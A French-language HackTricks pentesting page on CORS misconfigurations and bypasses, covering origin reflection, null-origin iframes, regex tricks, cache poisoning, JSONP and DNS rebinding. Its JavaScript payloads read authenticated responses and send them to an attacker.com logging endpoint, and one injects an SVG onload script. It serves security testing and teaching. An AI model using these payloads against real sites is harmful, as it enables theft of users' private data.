hacktricks/pentesting-web/cors-bypass.md

34 KiB

CORS - Mauvaises configurations & Contournement

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Qu'est-ce que CORS ?

Le partage de ressources entre origines multiples (CORS) standard permet aux serveurs de dĂ©finir qui peut accĂ©der Ă  leurs ressources et quelles mĂ©thodes de requĂȘte HTTP sont autorisĂ©es depuis des sources externes.

Une politique de mĂȘme origine exige qu'un serveur demandant une ressource et le serveur hĂ©bergeant la ressource partagent le mĂȘme protocole (par exemple, http://), nom de domaine (par exemple, internal-web.com), et port (par exemple, 80). Selon cette politique, seules les pages web du mĂȘme domaine et port sont autorisĂ©es Ă  accĂ©der aux ressources.

L'application de la politique de mĂȘme origine dans le contexte de http://normal-website.com/example/example.html est illustrĂ©e comme suit :

URL accédée AccÚs autorisé ?
http://normal-website.com/example/ Oui : Schéma, domaine et port identiques
http://normal-website.com/example2/ Oui : Schéma, domaine et port identiques
https://normal-website.com/example/ Non : Schéma et port différents
http://en.normal-website.com/example/ Non : Domaine différent
http://www.normal-website.com/example/ Non : Domaine différent
http://normal-website.com:8080/example/ Non : Port différent*

*Internet Explorer ignore le numĂ©ro de port dans l'application de la politique de mĂȘme origine, permettant ainsi cet accĂšs.

En-tĂȘte Access-Control-Allow-Origin

Cet en-tĂȘte peut autoriser plusieurs origines, une valeur null, ou un caractĂšre gĂ©nĂ©rique *. Cependant, aucun navigateur ne prend en charge plusieurs origines, et l'utilisation du caractĂšre gĂ©nĂ©rique * est soumise Ă  des limitations. (Le caractĂšre gĂ©nĂ©rique doit ĂȘtre utilisĂ© seul, et son utilisation avec Access-Control-Allow-Credentials: true n'est pas autorisĂ©e.)

Cet en-tĂȘte est Ă©mis par un serveur en rĂ©ponse Ă  une demande de ressource inter-domaines initiĂ©e par un site web, le navigateur ajoutant automatiquement un en-tĂȘte Origin.

En-tĂȘte Access-Control-Allow-Credentials

Par dĂ©faut, les requĂȘtes inter-origines sont effectuĂ©es sans identifiants comme des cookies ou l'en-tĂȘte Authorization. Pourtant, un serveur inter-domaines peut autoriser la lecture de la rĂ©ponse lorsque des identifiants sont envoyĂ©s en dĂ©finissant l'en-tĂȘte Access-Control-Allow-Credentials sur true.

S'il est dĂ©fini sur true, le navigateur transmettra des identifiants (cookies, en-tĂȘtes d'autorisation ou certificats clients TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Comprendre les requĂȘtes prĂ©liminaires dans la communication inter-domaines

Lors de l'initiation d'une requĂȘte inter-domaines dans des conditions spĂ©cifiques, telles que l'utilisation d'une mĂ©thode HTTP non standard (tout sauf HEAD, GET, POST), l'introduction de nouveaux en-tĂȘtes, ou l'emploi d'une valeur spĂ©ciale pour l'en-tĂȘte Content-Type, une requĂȘte prĂ©liminaire peut ĂȘtre nĂ©cessaire. Cette requĂȘte prĂ©liminaire, utilisant la mĂ©thode OPTIONS, sert Ă  informer le serveur des intentions de la requĂȘte inter-origine Ă  venir, y compris les mĂ©thodes HTTP et les en-tĂȘtes qu'elle prĂ©voit d'utiliser.

Le protocole Cross-Origin Resource Sharing (CORS) exige cette vĂ©rification prĂ©liminaire pour dĂ©terminer la faisabilitĂ© de l'opĂ©ration inter-origine demandĂ©e en vĂ©rifiant les mĂ©thodes, les en-tĂȘtes autorisĂ©s et la fiabilitĂ© de l'origine. Pour une comprĂ©hension dĂ©taillĂ©e des conditions qui contournent la nĂ©cessitĂ© d'une requĂȘte prĂ©liminaire, consultez le guide complet fourni par Mozilla Developer Network (MDN).

Il est crucial de noter que l'absence d'une requĂȘte prĂ©liminaire ne supprime pas l'exigence que la rĂ©ponse contienne des en-tĂȘtes d'autorisation. Sans ces en-tĂȘtes, le navigateur est incapable de traiter la rĂ©ponse de la requĂȘte inter-origine.

ConsidĂ©rez l'illustration suivante d'une requĂȘte prĂ©liminaire visant Ă  utiliser la mĂ©thode PUT avec un en-tĂȘte personnalisĂ© nommĂ© Special-Request-Header :

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En rĂ©ponse, le serveur peut renvoyer des en-tĂȘtes indiquant les mĂ©thodes acceptĂ©es, l'origine autorisĂ©e et d'autres dĂ©tails de la politique CORS, comme indiquĂ© ci-dessous :

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers : Cet en-tĂȘte spĂ©cifie quels en-tĂȘtes peuvent ĂȘtre utilisĂ©s lors de la demande rĂ©elle. Il est dĂ©fini par le serveur pour indiquer les en-tĂȘtes autorisĂ©s dans les demandes du client.
  • Access-Control-Expose-Headers : GrĂące Ă  cet en-tĂȘte, le serveur informe le client des en-tĂȘtes qui peuvent ĂȘtre exposĂ©s dans la rĂ©ponse en plus des en-tĂȘtes de rĂ©ponse simples.
  • Access-Control-Max-Age : Cet en-tĂȘte indique combien de temps les rĂ©sultats d'une demande prĂ©liminaire peuvent ĂȘtre mis en cache. Le serveur dĂ©finit le temps maximum, en secondes, que les informations renvoyĂ©es par une demande prĂ©liminaire peuvent ĂȘtre rĂ©utilisĂ©es.
  • Access-Control-Request-Headers : UtilisĂ© dans les demandes prĂ©liminaires, cet en-tĂȘte est dĂ©fini par le client pour informer le serveur des en-tĂȘtes HTTP que le client souhaite utiliser dans la demande rĂ©elle.
  • Access-Control-Request-Method : Cet en-tĂȘte, Ă©galement utilisĂ© dans les demandes prĂ©liminaires, est dĂ©fini par le client pour indiquer quelle mĂ©thode HTTP sera utilisĂ©e dans la demande rĂ©elle.
  • Origin : Cet en-tĂȘte est automatiquement dĂ©fini par le navigateur et indique l'origine de la demande inter-origine. Il est utilisĂ© par le serveur pour Ă©valuer si la demande entrante doit ĂȘtre autorisĂ©e ou refusĂ©e en fonction de la politique CORS.

Notez qu'en gĂ©nĂ©ral (selon le type de contenu et les en-tĂȘtes dĂ©finis) dans une demande GET/POST, aucune demande prĂ©liminaire n'est envoyĂ©e (la demande est envoyĂ©e directement), mais si vous souhaitez accĂ©der aux en-tĂȘtes/corps de la rĂ©ponse, cela doit contenir un en-tĂȘte Access-Control-Allow-Origin l'autorisant.
Par consĂ©quent, CORS ne protĂšge pas contre CSRF (mais cela peut ĂȘtre utile).

Demandes de réseau local Demande préliminaire

  1. Access-Control-Request-Local-Network : Cet en-tĂȘte est inclus dans la demande du client pour signifier que l'enquĂȘte vise une ressource de rĂ©seau local. Il sert de marqueur pour informer le serveur que la demande provient du rĂ©seau local.
  2. Access-Control-Allow-Local-Network : En rĂ©ponse, les serveurs utilisent cet en-tĂȘte pour communiquer que la ressource demandĂ©e est autorisĂ©e Ă  ĂȘtre partagĂ©e avec des entitĂ©s en dehors du rĂ©seau local. Il agit comme un feu vert pour le partage de ressources Ă  travers diffĂ©rentes frontiĂšres de rĂ©seau, garantissant un accĂšs contrĂŽlĂ© tout en maintenant des protocoles de sĂ©curitĂ©.

Une rĂ©ponse valide autorisant la demande de rĂ©seau local doit Ă©galement contenir dans la rĂ©ponse l'en-tĂȘte Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Notez que l'IP linux 0.0.0.0 fonctionne pour contourner ces exigences pour accéder à localhost, car cette adresse IP n'est pas considérée comme "locale".

Il est Ă©galement possible de contourner les exigences du rĂ©seau local si vous utilisez l'adresse IP publique d'un point de terminaison local (comme l'IP publique du routeur). Car dans plusieurs cas, mĂȘme si l'IP publique est accessible, si c'est du rĂ©seau local, l'accĂšs sera accordĂ©. {% endhint %}

Mauvaises configurations exploitables

Il a Ă©tĂ© observĂ© que le paramĂštre Access-Control-Allow-Credentials Ă  true est un prĂ©requis pour la plupart des vrais attaques. Ce paramĂštre permet au navigateur d'envoyer des informations d'identification et de lire la rĂ©ponse, augmentant ainsi l'efficacitĂ© de l'attaque. Sans cela, l'avantage de faire Ă©mettre une requĂȘte par un navigateur plutĂŽt que de le faire soi-mĂȘme diminue, car tirer parti des cookies d'un utilisateur devient irrĂ©alisable.

Exception : Exploiter la localisation réseau comme authentification

Une exception existe oĂč la localisation rĂ©seau de la victime agit comme une forme d'authentification. Cela permet d'utiliser le navigateur de la victime comme un proxy, contournant l'authentification basĂ©e sur l'IP pour accĂ©der aux applications intranet. Cette mĂ©thode partage des similitudes d'impact avec le DNS rebinding mais est plus simple Ă  exploiter.

RĂ©flexion de Origin dans Access-Control-Allow-Origin

Le scĂ©nario du monde rĂ©el oĂč la valeur de l'en-tĂȘte Origin est rĂ©flĂ©chie dans Access-Control-Allow-Origin est thĂ©oriquement improbable en raison des restrictions sur la combinaison de ces en-tĂȘtes. Cependant, les dĂ©veloppeurs cherchant Ă  activer CORS pour plusieurs URL peuvent gĂ©nĂ©rer dynamiquement l'en-tĂȘte Access-Control-Allow-Origin en copiant la valeur de l'en-tĂȘte Origin. Cette approche peut introduire des vulnĂ©rabilitĂ©s, en particulier lorsqu'un attaquant utilise un domaine avec un nom conçu pour sembler lĂ©gitime, trompant ainsi la logique de validation.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Exploiter l'origine null

L'origine null, spécifiée pour des situations comme les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à la liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine null via une iframe sandboxée, contournant ainsi les restrictions CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniques de contournement par expression réguliÚre

Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, comme l'ajout du domaine de l'attaquant à un domaine sur liste blanche ou l'exploitation des vulnérabilités de prise de contrÎle de sous-domaines. De plus, les expressions réguliÚres utilisées pour la validation des domaines peuvent négliger des nuances dans les conventions de nommage des domaines, présentant ainsi d'autres opportunités de contournement.

Contournements avancés par expression réguliÚre

Les motifs Regex se concentrent gĂ©nĂ©ralement sur les caractĂšres alphanumĂ©riques, le point (.) et le tiret (-), nĂ©gligeant d'autres possibilitĂ©s. Par exemple, un nom de domaine conçu pour inclure des caractĂšres interprĂ©tĂ©s diffĂ©remment par les navigateurs et les motifs regex peut contourner les vĂ©rifications de sĂ©curitĂ©. La gestion des caractĂšres de soulignement dans les sous-domaines par Safari, Chrome et Firefox illustre comment de telles divergences peuvent ĂȘtre exploitĂ©es pour contourner la logique de validation des domaines.

Pour plus d'informations et de paramĂštres concernant ce contrĂŽle de contournement : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Depuis XSS à l'intérieur d'un sous-domaine

Les dĂ©veloppeurs mettent souvent en Ɠuvre des mĂ©canismes de dĂ©fense pour se protĂ©ger contre l'exploitation CORS en ajoutant des domaines Ă  la liste blanche qui sont autorisĂ©s Ă  demander des informations. MalgrĂ© ces prĂ©cautions, la sĂ©curitĂ© du systĂšme n'est pas infaillible. La prĂ©sence mĂȘme d'un seul sous-domaine vulnĂ©rable au sein des domaines sur liste blanche peut ouvrir la porte Ă  l'exploitation CORS par le biais d'autres vulnĂ©rabilitĂ©s, telles que XSS (Cross-Site Scripting).

Pour illustrer, considĂ©rons le scĂ©nario oĂč un domaine, requester.com, est sur liste blanche pour accĂ©der aux ressources d'un autre domaine, provider.com. La configuration cĂŽtĂ© serveur pourrait ressembler Ă  ceci :

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Dans cette configuration, tous les sous-domaines de requester.com sont autorisés à accéder. Cependant, si un sous-domaine, disons sub.requester.com, est compromis avec une vulnérabilité XSS, un attaquant peut exploiter cette faiblesse. Par exemple, un attaquant ayant accÚs à sub.requester.com pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de maniÚre malveillante aux ressources sur provider.com.

Poisonnement de cache cÎté serveur

D'aprĂšs cette recherche

Il est possible qu'en exploitant le poisonnement de cache cĂŽtĂ© serveur par injection d'en-tĂȘte HTTP, une vulnĂ©rabilitĂ© XSS stockĂ©e puisse ĂȘtre induite. Ce scĂ©nario se dĂ©roule lorsqu'une application ne parvient pas Ă  assainir l'en-tĂȘte Origin pour des caractĂšres illĂ©gaux, crĂ©ant une vulnĂ©rabilitĂ© particuliĂšrement pour les utilisateurs d'Internet Explorer et d'Edge. Ces navigateurs traitent (0x0d) comme un terminateur d'en-tĂȘte HTTP lĂ©gitime, entraĂźnant des vulnĂ©rabilitĂ©s d'injection d'en-tĂȘte HTTP.

ConsidĂ©rez la requĂȘte suivante oĂč l'en-tĂȘte Origin est manipulĂ© :

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer et Edge interprÚtent la réponse comme :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bien que l'exploitation directe de cette vulnĂ©rabilitĂ© en faisant envoyer un en-tĂȘte malformĂ© par un navigateur web ne soit pas rĂ©alisable, une requĂȘte Ă©laborĂ©e peut ĂȘtre gĂ©nĂ©rĂ©e manuellement Ă  l'aide d'outils comme Burp Suite. Cette mĂ©thode pourrait conduire Ă  un cache cĂŽtĂ© serveur enregistrant la rĂ©ponse et la servant involontairement Ă  d'autres. Le payload Ă©laborĂ© vise Ă  modifier l'ensemble de caractĂšres de la page en UTF-7, un encodage de caractĂšres souvent associĂ© aux vulnĂ©rabilitĂ©s XSS en raison de sa capacitĂ© Ă  encoder des caractĂšres d'une maniĂšre qui peut ĂȘtre exĂ©cutĂ©e comme un script dans certains contextes.

Pour en savoir plus sur les vulnérabilités XSS stockées, consultez PortSwigger.

Remarque : L'exploitation des vulnĂ©rabilitĂ©s d'injection d'en-tĂȘtes HTTP, en particulier par le biais du poisoning de cache cĂŽtĂ© serveur, souligne l'importance critique de valider et de dĂ©sinfecter toutes les entrĂ©es fournies par l'utilisateur, y compris les en-tĂȘtes HTTP. Employez toujours un modĂšle de sĂ©curitĂ© robuste qui inclut la validation des entrĂ©es pour prĂ©venir de telles vulnĂ©rabilitĂ©s.

Poisoning de cache cÎté client

À partir de cette recherche

Dans ce scĂ©nario, une instance d'une page web reflĂ©tant le contenu d'un en-tĂȘte HTTP personnalisĂ© sans encodage appropriĂ© est observĂ©e. Plus prĂ©cisĂ©ment, la page web renvoie le contenu inclus dans un en-tĂȘte X-User-id, qui pourrait inclure du JavaScript malveillant, comme le dĂ©montre l'exemple oĂč l'en-tĂȘte contient une balise d'image SVG conçue pour exĂ©cuter du code JavaScript au chargement.

Les politiques de partage de ressources entre origines (CORS) permettent l'envoi d'en-tĂȘtes personnalisĂ©s. Cependant, sans que la rĂ©ponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilitĂ© d'une telle injection pourrait sembler limitĂ©e. Le point critique se pose lorsque l'on considĂšre le comportement de cache du navigateur. Si l'en-tĂȘte Vary: Origin n'est pas spĂ©cifiĂ©, il devient possible que la rĂ©ponse malveillante soit mise en cache par le navigateur. Par la suite, cette rĂ©ponse mise en cache pourrait ĂȘtre rendue directement lors de la navigation vers l'URL, contournant ainsi la nĂ©cessitĂ© d'un rendu direct lors de la requĂȘte initiale. Ce mĂ©canisme renforce la fiabilitĂ© de l'attaque en tirant parti du cache cĂŽtĂ© client.

Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour ĂȘtre exĂ©cutĂ© dans l'environnement d'une page web, comme Ă  travers un JSFiddle. Ce script effectue une action simple : il envoie une requĂȘte Ă  une URL spĂ©cifiĂ©e avec un en-tĂȘte personnalisĂ© contenant le JavaScript malveillant. Une fois la requĂȘte rĂ©ussie, il tente de naviguer vers l'URL cible, dĂ©clenchant potentiellement l'exĂ©cution du script injectĂ© si la rĂ©ponse a Ă©tĂ© mise en cache sans un traitement appropriĂ© de l'en-tĂȘte Vary: Origin.

Voici un résumé du JavaScript utilisé pour exécuter cette attaque :

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, Ă©galement connu sous le nom de Cross-Site Script Inclusion, est un type de vulnĂ©rabilitĂ© qui tire parti du fait que la Same Origin Policy (SOP) ne s'applique pas lors de l'inclusion de ressources Ă  l'aide de la balise script. Cela est dĂ» au fait que les scripts doivent pouvoir ĂȘtre inclus depuis diffĂ©rents domaines. Cette vulnĂ©rabilitĂ© permet Ă  un attaquant d'accĂ©der et de lire tout contenu qui a Ă©tĂ© inclus Ă  l'aide de la balise script.

Cette vulnérabilité devient particuliÚrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec Padding), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource depuis un hÎte différent, les cookies sont inclus, les rendant accessibles à l'attaquant.

Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser le plugin BurpSuite disponible à https://github.com/kapytein/jsonp. Ce plugin peut aider à identifier et à traiter les vulnérabilités XSSI potentielles dans vos applications web.

Lisez-en plus sur les différents types d'XSSI et comment les exploiter ici.

Essayez d'ajouter un callback paramĂštre dans la requĂȘte. Peut-ĂȘtre que la page a Ă©tĂ© prĂ©parĂ©e pour envoyer les donnĂ©es sous forme de JSONP. Dans ce cas, la page renverra les donnĂ©es avec Content-Type: application/javascript, ce qui contournera la politique CORS.

Bypass facile (inutile ?)

Une façon de contourner la restriction Access-Control-Allow-Origin est de demander Ă  une application web de faire une requĂȘte en votre nom et de renvoyer la rĂ©ponse. Cependant, dans ce scĂ©nario, les identifiants de la victime finale ne seront pas envoyĂ©s car la requĂȘte est faite Ă  un domaine diffĂ©rent.

  1. CORS-escape : Cet outil fournit un proxy qui transmet votre requĂȘte avec ses en-tĂȘtes, tout en falsifiant l'en-tĂȘte Origin pour correspondre au domaine demandĂ©. Cela contourne effectivement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest :
  2. simple-cors-escape : Cet outil offre une approche alternative pour le proxy des requĂȘtes. Au lieu de transmettre votre requĂȘte telle quelle, le serveur effectue sa propre requĂȘte avec les paramĂštres spĂ©cifiĂ©s.

Bypass Iframe + Popup

Vous pouvez contourner les vĂ©rifications CORS telles que e.origin === window.origin en crĂ©ant un iframe et en ouvrant une nouvelle fenĂȘtre depuis celui-ci. Plus d'informations sur la page suivante :

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

Rebinding DNS via TTL

Le rebinding DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :

  1. L'attaquant crée une page web et fait accéder la victime à celle-ci.
  2. L'attaquant change ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
  3. Le navigateur de la victime met en cache la rĂ©ponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant combien de temps l'enregistrement DNS doit ĂȘtre considĂ©rĂ© comme valide.
  4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requĂȘte DNS, permettant Ă  l'attaquant d'exĂ©cuter du code JavaScript sur la page de la victime.
  5. En maintenant le contrĂŽle sur l'IP de la victime, l'attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime.

Il est important de noter que les navigateurs ont des mĂ©canismes de mise en cache qui peuvent empĂȘcher l'abus immĂ©diat de cette technique, mĂȘme avec de faibles valeurs TTL.

Le rebinding DNS peut ĂȘtre utile pour contourner les vĂ©rifications IP explicites effectuĂ©es par la victime ou pour des scĂ©narios oĂč un utilisateur ou un bot reste sur la mĂȘme page pendant une pĂ©riode prolongĂ©e, permettant Ă  la cache d'expirer.

Si vous avez besoin d'un moyen rapide d'abuser du rebinding DNS, vous pouvez utiliser des services comme https://lock.cmpxchg8b.com/rebinder.html.

Pour exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser des outils comme DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hÎte.

Vous pouvez également explorer un serveur public en cours d'exécution à http://rebind.it/singularity.html pour une meilleure compréhension et expérimentation.

Rebinding DNS via DNS Cache Flooding

Le rebinding DNS via le flooding de cache DNS est une autre technique utilisĂ©e pour contourner le mĂ©canisme de mise en cache des navigateurs et forcer une seconde requĂȘte DNS. Voici comment cela fonctionne :

  1. Initialement, lorsque la victime effectue une requĂȘte DNS, elle reçoit l'adresse IP de l'attaquant.
  2. Pour contourner la défense de mise en cache, l'attaquant utilise un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom du serveur de l'attaquant mis en cache.
  3. Lorsque le navigateur de la victime effectue une seconde requĂȘte DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait gĂ©nĂ©ralement rĂ©fĂ©rence Ă  l'hĂŽte local.

En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de rĂ©solution DNS et forcer le navigateur de la victime Ă  effectuer une seconde requĂȘte, cette fois-ci rĂ©solvant Ă  l'adresse IP souhaitĂ©e par l'attaquant.

Rebinding DNS via Cache

Une autre façon de contourner la dĂ©fense de mise en cache est d'utiliser plusieurs adresses IP pour le mĂȘme sous-domaine dans le fournisseur DNS. Voici comment cela fonctionne :

  1. L'attaquant configure deux enregistrements A (ou un seul enregistrement A avec deux IP) pour le mĂȘme sous-domaine dans le fournisseur DNS.
  2. Lorsque le navigateur vérifie ces enregistrements, il reçoit les deux adresses IP.
  3. Si le navigateur dĂ©cide d'utiliser d'abord l'adresse IP de l'attaquant, l'attaquant peut servir une charge utile qui effectue des requĂȘtes HTTP vers le mĂȘme domaine.
  4. Cependant, une fois que l'attaquant obtient l'adresse IP de la victime, il cesse de répondre au navigateur de la victime.
  5. Le navigateur de la victime, réalisant que le domaine ne répond pas, passe à utiliser la seconde adresse IP donnée.
  6. En accédant à la seconde adresse IP, le navigateur contourne la Same Origin Policy (SOP), permettant à l'attaquant d'abuser de cela et de recueillir et exfiltrer des informations.

Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrÎlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.

{% hint style="warning" %} Notez que pour accéder à localhost, vous devriez essayer de rebind 127.0.0.1 sous Windows et 0.0.0.0 sous Linux.
Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IP, l'une d'elles étant "0.0.0.0"

{% endhint %}

Pour plus d'infos, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/

Autres contournements courants

  • Si les IP internes ne sont pas autorisĂ©es, ils pourraient oublier d'interdire 0.0.0.0 (fonctionne sous Linux et Mac)
  • Si les IP internes ne sont pas autorisĂ©es, rĂ©pondez avec un CNAME vers localhost (fonctionne sous Linux et Mac)
  • Si les IP internes ne sont pas autorisĂ©es en tant que rĂ©ponses DNS, vous pouvez rĂ©pondre avec des CNAMEs vers des services internes tels que www.corporate.internal.

Rebinding DNS armé

Vous pouvez trouver plus d'informations sur les techniques de contournement prĂ©cĂ©dentes et comment utiliser l'outil suivant dans la prĂ©sentation Gerald Doussot - État des attaques de rebinding DNS & SingularitĂ© de l'origine - ConfĂ©rence DEF CON 27.

Singularity of Origin est un outil pour effectuer des attaques de rebinding DNS. Il comprend les composants nécessaires pour rebind l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.

RĂ©elle protection contre le rebinding DNS

  • Utilisez TLS dans les services internes
  • Demandez une authentification pour accĂ©der aux donnĂ©es
  • Validez l'en-tĂȘte Host
  • https://wicg.github.io/private-network-access/ : Proposition d'envoyer toujours une requĂȘte prĂ©liminaire lorsque des serveurs publics souhaitent accĂ©der Ă  des serveurs internes

Outils

Fuzz des configurations incorrectes possibles dans les politiques CORS

Références

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}